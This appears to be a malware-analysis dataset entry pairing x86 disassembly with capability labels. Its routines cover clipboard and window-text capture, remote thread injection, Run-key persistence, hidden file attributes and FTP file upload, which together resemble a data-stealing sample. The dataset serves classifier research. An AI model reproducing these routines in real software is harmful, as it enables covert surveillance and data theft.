joyce8/EMBER2024-capa huggingface dataset:
Function at 0xc82f10
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0xc82f88
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0xc82f98
mov dword [ebp - 4], eax
test ebx, ebx
jne 0xc82f5a
push 4
push 0x1000
push 0x104
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [ebp - 4], eax
push 0x104
mov eax, dword [ebp - 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameW
jmp 0xc82f7a
call sub.KERNEL32.DLL_GetCommandLineW
mov esi, eax
lea edx, [ebp - 4]
mov eax, esi
call fcn.00c82d70
mov esi, eax
test ebx, ebx
je 0xc82f7a
cmp dword [ebp - 4], 0
je 0xc82f7a
dec ebx
jmp 0xc82f61
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xc82f8f
ret

Function at 0xc82f9c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push eax
call sub.KERNEL32.DLL_GetFileAttributesW
cmp eax, 0xffffffff
je 0xc82fab
test al, 0x10
jne 0xc82fae
xor eax, eax
ret
mov al, 1
ret

Function at 0xc82fb4
Capabilities:
Create directory

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffff7dc
mov esi, eax
mov edi, esp
mov bl, 1
mov eax, esi
call fcn.00c82f9c
test al, al
jne 0xc83093
test esi, esi
je 0xc8308a
push esi
call sub.KERNEL32.DLL_lstrlenW
mov ebx, eax
add ebx, ebx
mov edx, edi
mov eax, esi
mov ecx, ebx
call fcn.00c811dc
mov eax, ebx
cmp eax, 0x207
ja 0xc8300b
lea edx, [edi + eax*2]
mov word [edx], 0
inc eax
add edx, 2
cmp eax, 0x208
jne 0xc82ffb
mov eax, 0x208
lea edx, [esp + 0x412]
mov word [edx], 0
add edx, 2
dec eax
jne 0xc83017
xor ebx, ebx
mov ax, word [edi + ebx*2]
mov word [esp + ebx*2 + 0x412], ax
jmp 0xc83083
mov word [esp + ebx*2 + 0x412], ax
inc ebx
mov ax, word [edi + ebx*2]
cmp ax, 0x5c
je 0xc8304c
test ax, ax
jne 0xc83034
mov ax, word [edi + ebx*2]
mov word [esp + ebx*2 + 0x412], ax
inc ebx
lea eax, [esp + 0x412]
call fcn.00c82f9c
test al, al
jne 0xc83083
push 0
lea eax, [esp + 0x416]
push eax
call sub.KERNEL32.DLL_CreateDirectoryW
mov eax, esi
call fcn.00c82f9c
test al, al
jne 0xc8308a
cmp word [edi + ebx*2], 0
jne 0xc8303d
mov eax, esi
call fcn.00c82f9c
mov ebx, eax
mov eax, ebx
add esp, 0x824
pop edi
pop esi
pop ebx
ret

Function at 0xc830cc
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff4
mov esi, edx
mov ebx, eax
mov dword [esp], 0
mov dword [esp + 4], 0
mov eax, ebx
call fcn.00c830a0
test al, al
je 0xc83155
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.KERNEL32.DLL_CreateFileW
mov ebx, eax
cmp ebx, 0xffffffff
je 0xc8314f
push 0
push ebx
call sub.KERNEL32.DLL_GetFileSize
xor edx, edx
mov dword [esp], eax
mov dword [esp + 4], edx
push 4
push 0x1000
mov edi, dword [esp + 8]
push edi
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [esi], eax
push 0
push 0
push 0
push ebx
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [esp + 0xc]
push eax
push edi
mov eax, dword [esi]
push eax
push ebx
call sub.KERNEL32.DLL_ReadFile
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov eax, dword [esp]
mov edx, dword [esp + 4]
add esp, 0xc
pop edi
pop esi
pop ebx
ret
Function at 0xc83164
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebx
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_GetFileAttributesW
or eax, 2
or eax, 1
or eax, 4
push eax
push ebx
call sub.KERNEL32.DLL_SetFileAttributesW
pop ebx
ret

Function at 0xc8333c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [ebp + 8]
push ecx
push edx
push eax
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov ebx, eax
push esi
push ebx
call sub.KERNEL32.DLL_SetThreadPriority
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 4

Function at 0xc8336c
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, eax
push 1
push esi
call sub.KERNEL32.DLL_TerminateThread
cmp eax, 1
sbb ebx, ebx
inc ebx
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, ebx
pop esi
pop ebx
ret

Function at 0xc8338c
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
mov byte [ebp - 1], 1
mov dword [ebx], 0
mov dword [ebx + 4], 0
push esi
call sub.user32.dll_OpenClipboard
test eax, eax
je 0xc83440
xor eax, eax
push ebp
push 0xc83439
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xd
call sub.user32.dll_GetClipboardData
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0xc83422
xor eax, eax
push ebp
push 0xc8341b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalLock
mov dword [edi], eax
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalSize
sub eax, 2
xor edx, edx
mov dword [ebx], eax
mov dword [ebx + 4], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xc83426
mov eax, dword [ebp - 8]
push eax
call sub.KERNEL32.DLL_GlobalUnlock
ret
mov byte [ebp - 1], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xc83444
call sub.user32.dll_CloseClipboard
ret
mov byte [ebp - 1], 0
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0xc83544
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffdd0
mov edi, edx
mov ebx, eax
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
mov dword [esp + 1], 0x22c
lea eax, [esp + 1]
push eax
push esi
call sub.KERNEL32.DLL_Process32FirstW
xor edx, edx
mov dword [edi], edx
mov byte [esp], 0
jmp 0xc835e1
mov eax, ebx
call fcn.00c82938
add eax, eax
push eax
push ebx
call sub.user32.dll_CharUpperW
push eax
lea eax, [esp + 0x2d]
call fcn.00c83478
push eax
call sub.user32.dll_CharUpperW
pop edx
pop ecx
call fcn.00c83450
cmp al, 1
je 0xc835ca
mov eax, ebx
call fcn.00c82938
add eax, eax
push eax
push ebx
call sub.user32.dll_CharUpperW
push eax
lea eax, [esp + 0x2d]
push eax
call sub.user32.dll_CharUpperW
pop edx
pop ecx
call fcn.00c83450
cmp al, 1
jne 0xc835d6
mov byte [esp], 1
mov eax, dword [esp + 9]
mov dword [edi], eax
jmp 0xc835e5
lea eax, [esp + 1]
push eax
push esi
call sub.KERNEL32.DLL_Process32NextW
test eax, eax
jne 0xc83579
push esi
call sub.KERNEL32.DLL_CloseHandle
mov al, byte [esp]
add esp, 0x230
pop edi
pop esi
pop ebx
ret

Function at 0xc836e8
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffec
mov dword [esp + 4], ecx
mov dword [esp], edx
mov ebx, eax
xor eax, eax
mov dword [esp + 8], eax
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
mov ecx, eax
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov esi, dword [eax + 0x50]
mov edi, dword [eax + 0x34]
push 0x8000
push 0
push edi
push ebx
call sub.KERNEL32.DLL_VirtualFreeEx
push 0x40
push 0x3000
push esi
push edi
push ebx
call sub.KERNEL32.DLL_VirtualAllocEx
mov ebp, eax
test ebp, ebp
je 0xc83784
lea eax, [esp + 0xc]
push eax
push esi
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push eax
push edi
push ebx
call sub.KERNEL32.DLL_WriteProcessMemory
cmp esi, dword [esp + 0xc]
ja 0xc83784
lea eax, [esp + 0x10]
push eax
push 0
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esp + 0xc]
push eax
push 0
push 0
push ebx
call sub.KERNEL32.DLL_CreateRemoteThread
push ebx
call sub.KERNEL32.DLL_CloseHandle
mov dword [esp + 8], ebp
mov eax, dword [esp + 8]
add esp, 0x14
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0xc83790
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffbc
mov ebx, edx
mov edi, eax
xor esi, esi
mov eax, esp
mov edx, 0x44
call fcn.00c82650
push ebx
lea eax, [esp + 4]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push edi
push 0
call sub.KERNEL32.DLL_CreateProcessW
test eax, eax
je 0xc837cf
mov esi, dword [ebx]
push 0x64
call sub.KERNEL32.DLL_Sleep
mov eax, esi
add esp, 0x44
pop edi
pop esi
pop ebx
ret
Function at 0xc84158
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa2c
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x5d4], ecx
mov dword [ebp - 0x5d0], ecx
mov esi, edx
lea edi, [ebp - 0x5cc]
mov ecx, 0x173
rep movsd dword es:[edi], dword [esi]
mov esi, eax
xor eax, eax
push ebp
push 0xc843b1
push dword fs:[eax]
mov dword fs:[eax], esp
mov edi, esi
cmp byte [ebp - 0x3ec], 0
je 0xc84393
mov eax, dword [ebp - 0x3bc]
test eax, eax
jne 0xc841b3
call fcn.00c82af8
mov ebx, eax
jmp 0xc8422f
cmp eax, 1
jne 0xc841c1
call fcn.00c82b24
mov ebx, eax
jmp 0xc8422f
cmp eax, 2
jne 0xc841cf
call fcn.00c82b50
mov ebx, eax
jmp 0xc8422f
cmp eax, 3
jne 0xc84207
call fcn.00c82bf0
test eax, eax
je 0xc841f0
call fcn.00c82bf0
mov edx, 0xc843c4
call fcn.00c82e98
mov ebx, eax
jmp 0xc8422f
call fcn.00c82bfc
mov ebx, eax
mov edx, 0xc843c4
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
jmp 0xc8422f
cmp eax, 4
jne 0xc84223
call fcn.00c82bfc
mov ebx, eax
mov edx, 0xc843c4
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
jmp 0xc8422f
cmp eax, 5
jne 0xc8422f
call fcn.00c82ad0
mov ebx, eax
lea eax, [ebp - 0x5d0]
lea edx, [ebp - 0x3d4]
mov ecx, 0xb
call fcn.00c8185c
cmp dword [ebp - 0x5d0], 0
je 0xc8426b
lea edx, [ebp - 0x3d4]
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
mov edx, 0xc843c4
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
lea edx, [ebp - 0x3ea]
mov eax, ebx
call fcn.00c82e98
push eax
mov eax, esi
call fcn.00c82938
mov ecx, eax
add ecx, ecx
mov eax, esi
pop edx
call fcn.00c83450
cmp al, 1
je 0xc84393
mov eax, ebx
call fcn.00c82fb4
test al, al
je 0xc84393
push 0x80
lea edx, [ebp - 0x3ea]
mov eax, ebx
call fcn.00c82e98
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
push 0
lea edx, [ebp - 0x3ea]
mov eax, ebx
call fcn.00c82e98
push eax
push esi
call sub.KERNEL32.DLL_CopyFileW
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0xc84384
call fcn.00c82bfc
mov ebx, eax
mov edx, 0xc843c4
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
lea eax, [ebp - 0x5d4]
lea edx, [ebp - 0x3d4]
mov ecx, 0xb
call fcn.00c8185c
cmp dword [ebp - 0x5d4], 0
je 0xc84330
lea edx, [ebp - 0x3d4]
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
mov edx, 0xc843c4
mov eax, ebx
call fcn.00c82e98
mov ebx, eax
mov eax, ebx
call fcn.00c82fb4
test al, al
je 0xc84393
push 0x80
lea edx, [ebp - 0x3ea]
mov eax, ebx
call fcn.00c82e98
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
push 0
lea edx, [ebp - 0x3ea]
mov eax, ebx
call fcn.00c82e98
push eax
push esi
call sub.KERNEL32.DLL_CopyFileW
cmp eax, 1
sbb eax, eax
inc eax
test al, al
je 0xc84393
lea edx, [ebp - 0x3ea]
mov eax, ebx
call fcn.00c82e98
mov edi, eax
jmp 0xc84393
lea edx, [ebp - 0x3ea]
mov eax, ebx
call fcn.00c82e98
mov edi, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xc843b8
lea eax, [ebp - 0x5d4]
mov edx, 2
call fcn.00c81710
ret
Function at 0xc843c8
Capabilities:
Persist via active setup registry key
Persist via run registry key

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffa34
mov esi, edx
lea edi, [esp]
mov ecx, 0x173
rep movsd dword es:[edi], dword [esi]
mov ebx, eax
cmp byte [esp + 0x238], 0
je 0xc8448b
cmp byte [esp + 0x2b8], 1
jne 0xc84410
push ebx
push 2
lea ecx, [esp + 0x242]
mov edx, 0xc84498
mov eax, 0x80000002
call fcn.00c82a80
cmp byte [esp + 0x2b9], 1
jne 0xc84433
push ebx
push 2
lea ecx, [esp + 0x258]
mov edx, 0xc84498
mov eax, 0x80000001
call fcn.00c82a80
cmp byte [esp + 0x2ba], 1
jne 0xc8448b
lea edx, [esp + 0x266]
mov eax, 0xc844f4
call fcn.00c82e98
mov edx, eax
mov eax, 0x80000001
call fcn.00c83180
mov edx, 0xc84560
mov eax, ebx
call fcn.00c82e98
push eax
push 2
lea edx, [esp + 0x26e]
mov eax, 0xc844f4
call fcn.00c82e98
mov edx, eax
mov ecx, 0xc84574
mov eax, 0x80000002
call fcn.00c82a80
add esp, 0x5cc
pop edi
pop esi
pop ebx
ret

Function at 0xc84834
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
xor eax, eax
push ebp
push 0xc848f6
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0xc84908
lea eax, [ebp - 0x18]
mov edx, 0xc8a974
mov ecx, 0xb
call fcn.00c81a6c
push dword [ebp - 0x18]
push 0xc84920
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00c81b08
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 0x14]
call fcn.00c81a88
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0xc848db
mov dword [ebp - 0x10], 4
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0xc84924
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0xc848d2
mov ebx, dword [ebp - 8]
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xc848fd
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00c81924
ret

Function at 0xc84938
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0xc], edx
mov esi, eax
xor eax, eax
push ebp
push 0xc849f6
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0xc84a08
lea eax, [ebp - 0x10]
mov edx, 0xc8a974
mov ecx, 0xb
call fcn.00c81a6c
push dword [ebp - 0x10]
push 0xc84a20
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00c81b08
push ebx
lea eax, [ebp - 4]
push eax
push 0
push 0x20006
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.00c81a88
push eax
push 0x80000001
call sub.advapi32.dll_RegCreateKeyExW
test eax, eax
jne 0xc849db
mov edx, 4
mov eax, 4
mov dword [ebp - 8], esi
push eax
lea eax, [ebp - 8]
push eax
push edx
push 0
push 0xc84a24
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExW
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xc849fd
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00c81924
ret
Function at 0xc85e38
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0xc85e40
mov eax, dword [esp + 0x2000]
add esp, 0xfffff8f0
mov esi, eax
mov eax, esi
call fcn.00c8190c
call sub.user32.dll_GetForegroundWindow
mov ebx, eax
test ebx, ebx
je 0xc85e89
push 0x2712
lea eax, [esp + 4]
push eax
push ebx
call sub.user32.dll_GetWindowTextW
mov eax, esi
mov edx, esp
mov ecx, 0x1389
call fcn.00c81a6c
add esp, 0x2714
pop esi
pop ebx
ret
Function at 0xc86c10
Capabilities:
Get file size
Hide graphical window
Set file attributes

Disassembly:
push ebx
add esp, 0xfffffff0
call fcn.00c85d98
mov byte [0xc8ad99], 1
mov ebx, 0xc86d9c
cmp dword [0xc89098], 0
ja 0xc86c3f
mov edx, 0xc85e94
mov eax, ebx
call fcn.00c86814
mov dword [0xc89098], eax
push 0
mov eax, dword [0xc89098]
push eax
call sub.user32.dll_ShowWindow
push 0x80
mov eax, dword [0xc8ac6c]
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
push 0
push 0
push 4
push 0
push 3
push 0xc0000000
mov eax, dword [0xc8ac6c]
push eax
call sub.KERNEL32.DLL_CreateFileW
mov dword [0xc8ac8c], eax
cmp dword [0xc8ac8c], 0xffffffff
je 0xc86d95
push 0
mov eax, dword [0xc8ac8c]
push eax
call sub.KERNEL32.DLL_GetFileSize
xor edx, edx
mov dword [esp + 8], eax
mov dword [esp + 0xc], edx
cmp dword [esp + 0xc], 0
jne 0xc86cd9
cmp dword [esp + 8], 0
jne 0xc86cd9
mov byte [esp], 0xff
mov byte [esp + 1], 0xfe
lea eax, [esp + 4]
push eax
push 0
lea edx, [esp + 8]
mov ecx, 2
mov eax, dword [0xc8ac8c]
call fcn.00c845d0
mov byte [0xc8ad98], 1
jmp 0xc86ce0
mov byte [0xc8ad98], 0
push 7
mov eax, dword [0xc8ac6c]
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
push 2
push 0
push 0
mov eax, dword [0xc8ac8c]
push eax
call sub.KERNEL32.DLL_SetFilePointer
call fcn.00c84834
mov ecx, eax
mov eax, ecx
cdq
cmp edx, dword [esp + 0xc]
jne 0xc86d16
cmp eax, dword [esp + 8]
jbe 0xc86d35
jmp 0xc86d18
jle 0xc86d35
mov dword [0xc890ac], 0
mov dword [0xc890b0], 0
xor eax, eax
call fcn.00c84938
jmp 0xc86d44
mov eax, ecx
cdq
mov dword [0xc890ac], eax
mov dword [0xc890b0], edx
push 0
push 0
mov eax, dword [0xc8ac78]
push eax
mov eax, dword [0xc89098]
push eax
call sub.user32.dll_SendMessageA
mov eax, dword [0xc89098]
push eax
call sub.user32.dll_SetClipboardViewer
cmp byte [0xc8a9fc], 1
jne 0xc86d95
cmp dword [0xc8ada0], 0
je 0xc86d80
mov eax, dword [0xc8ada0]
call fcn.00c8336c
push 0
mov eax, 0xc86ae0
xor ecx, ecx
xor edx, edx
call fcn.00c8333c
mov dword [0xc8ada0], eax
add esp, 0x10
pop ebx
ret

Function at 0xc86de4
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
push 0
push 0
push 0
push 1
push 0
call sub.wininet.dll_InternetOpenW
mov esi, eax
push 0
push 0x8000000
push 1
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
push 0x15
push ebx
push esi
call sub.wininet.dll_InternetConnectW
mov edi, eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.wininet.dll_FtpSetCurrentDirectoryW
cmp eax, 1
sbb eax, eax
inc eax
push 0xffffffffffffffff
and eax, 0x7f
push eax
call sub.KERNEL32.DLL_WaitForSingleObject
push 0
push 2
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp - 8]
push eax
push edi
call sub.wininet.dll_FtpPutFileW
cmp eax, 1
sbb ebx, ebx
inc ebx
push esi
call sub.wininet.dll_InternetCloseHandle
push edi
call sub.wininet.dll_InternetCloseHandle
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0xc
Function at 0xc87050
Capabilities:
Delete file
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 8], edx
mov esi, eax
xor eax, eax
push ebp
push 0xc871cf
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0xc8adbc], eax
mov dword [0xc8adc0], 0
mov dword [0xc8adc4], 0
xor ebx, ebx
mov eax, dword [0xc8adb8]
call fcn.00c830a0
test al, al
jne 0xc870a5
mov edx, dword [0xc8adb8]
mov eax, esi
call fcn.00c832b0
mov eax, dword [0xc8adb8]
call fcn.00c830a0
cmp al, 1
jne 0xc871b9
push 0x80
mov eax, dword [0xc8adb8]
push eax
call sub.KERNEL32.DLL_SetFileAttributesW
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [0xc8adb8]
push eax
call sub.KERNEL32.DLL_CreateFileW
mov esi, eax
cmp esi, 0xffffffff
je 0xc871b3
push 0
push esi
call sub.KERNEL32.DLL_GetFileSize
xor edx, edx
mov dword [0xc8adc0], eax
mov dword [0xc8adc4], edx
push 4
push 0x1000
mov eax, dword [0xc8adc0]
push eax
push 0
call sub.KERNEL32.DLL_VirtualAlloc
mov dword [0xc8adbc], eax
push 0
push 0
push 0
push esi
call sub.KERNEL32.DLL_SetFilePointer
push 0
lea eax, [ebp - 4]
push eax
mov eax, dword [0xc8adc0]
push eax
mov eax, dword [0xc8adbc]
push eax
push esi
call sub.KERNEL32.DLL_ReadFile
push 0
push 2
mov eax, dword [0xc8adc0]
mov edx, dword [0xc8adc4]
call fcn.00c81ee0
mov edx, eax
lea eax, [ebp - 8]
call fcn.00c81d00
mov eax, dword [ebp - 8]
call fcn.00c81a88
mov ecx, dword [0xc8adc0]
mov edx, dword [0xc8adbc]
call fcn.00c82648
mov edx, dword [ebp - 8]
mov eax, 0xc871e4
call fcn.00c81cb0
test eax, eax
setg bl
test bl, bl
jne 0xc871b3
mov eax, dword [0xc8adb8]
push eax
call sub.KERNEL32.DLL_DeleteFileW
xor eax, eax
mov dword [0xc8adbc], eax
mov dword [0xc8adc0], 0
mov dword [0xc8adc4], 0
push esi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xc871d6
lea eax, [ebp - 8]
call fcn.00c8190c
ret

Function at 0xc872c4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
lea ecx, [ebp - 4]
push ecx
push edx
push eax
call sub.advapi32.dll_RegCreateKeyW
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 0x14]
push eax
mov eax, dword [ebp + 8]
push eax
push 0
push esi
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegSetValueExW
test eax, eax
jne 0xc872f7
mov bl, 1
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret 0x10
Function at 0xc87a00
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffff4
xor ebx, ebx
push esp
push 1
push 0
push 0xc87a58
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0xc87a51
lea eax, [esp + 8]
push eax
push 0
lea eax, [esp + 0xc]
push eax
push 0
push 0xc87a84
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0xc87a48
cmp dword [esp + 8], 0
jle 0xc87a48
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
add esp, 0xc
pop ebx
ret
Function at 0x10002c33
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10002c76
push 0x2b
push 0x403d532
push 6
call fcn.1000a4f6
add esp, 0xc
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x100232c1]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.10001271
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.1000b300
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002cc9
push ebx
call fcn.1000a508
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10002cff
push 0xa8
push 0x403d532
push 6
call fcn.1000a4f6
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10002d16
mov eax, 0x100232b8
jmp 0x10002d37
mov eax, dword [ebp - 8]
test eax, eax
je 0x10002d32
push eax
mov ebx, eax
call fcn.100018e4
inc eax
push eax
call fcn.1000a502
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x10002d37
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002d48
push ebx
call fcn.1000a508
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10002e1c
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 0xc], 0
jne 0x10002e6a
mov dword [ebp - 4], esp
push 0
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002e60
push 0x43
push 0x403d7cc
push 6
call fcn.1000a4f6
add esp, 0xc
jmp 0x10002f40
push dword [ebp + 8]
call fcn.10002f46
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x10002eba
mov dword [ebp - 4], esp
push 7
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002eb0
push 0xbd
push 0x403d7cc
push 6
call fcn.1000a4f6
add esp, 0xc
jmp 0x10002f40
push dword [ebp + 8]
call fcn.10002f86
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x10002f0a
mov dword [ebp - 4], esp
push 5
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002f00
push 0x137
push 0x403d7cc
push 6
call fcn.1000a4f6
add esp, 0xc
jmp 0x10002f40
mov dword [ebp - 4], esp
push 4
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002f3b
push 0x16f
push 0x403d7cc
push 6
call fcn.1000a4f6
add esp, 0xc
jmp 0x10002f40
mov esp, ebp
pop ebp
ret 8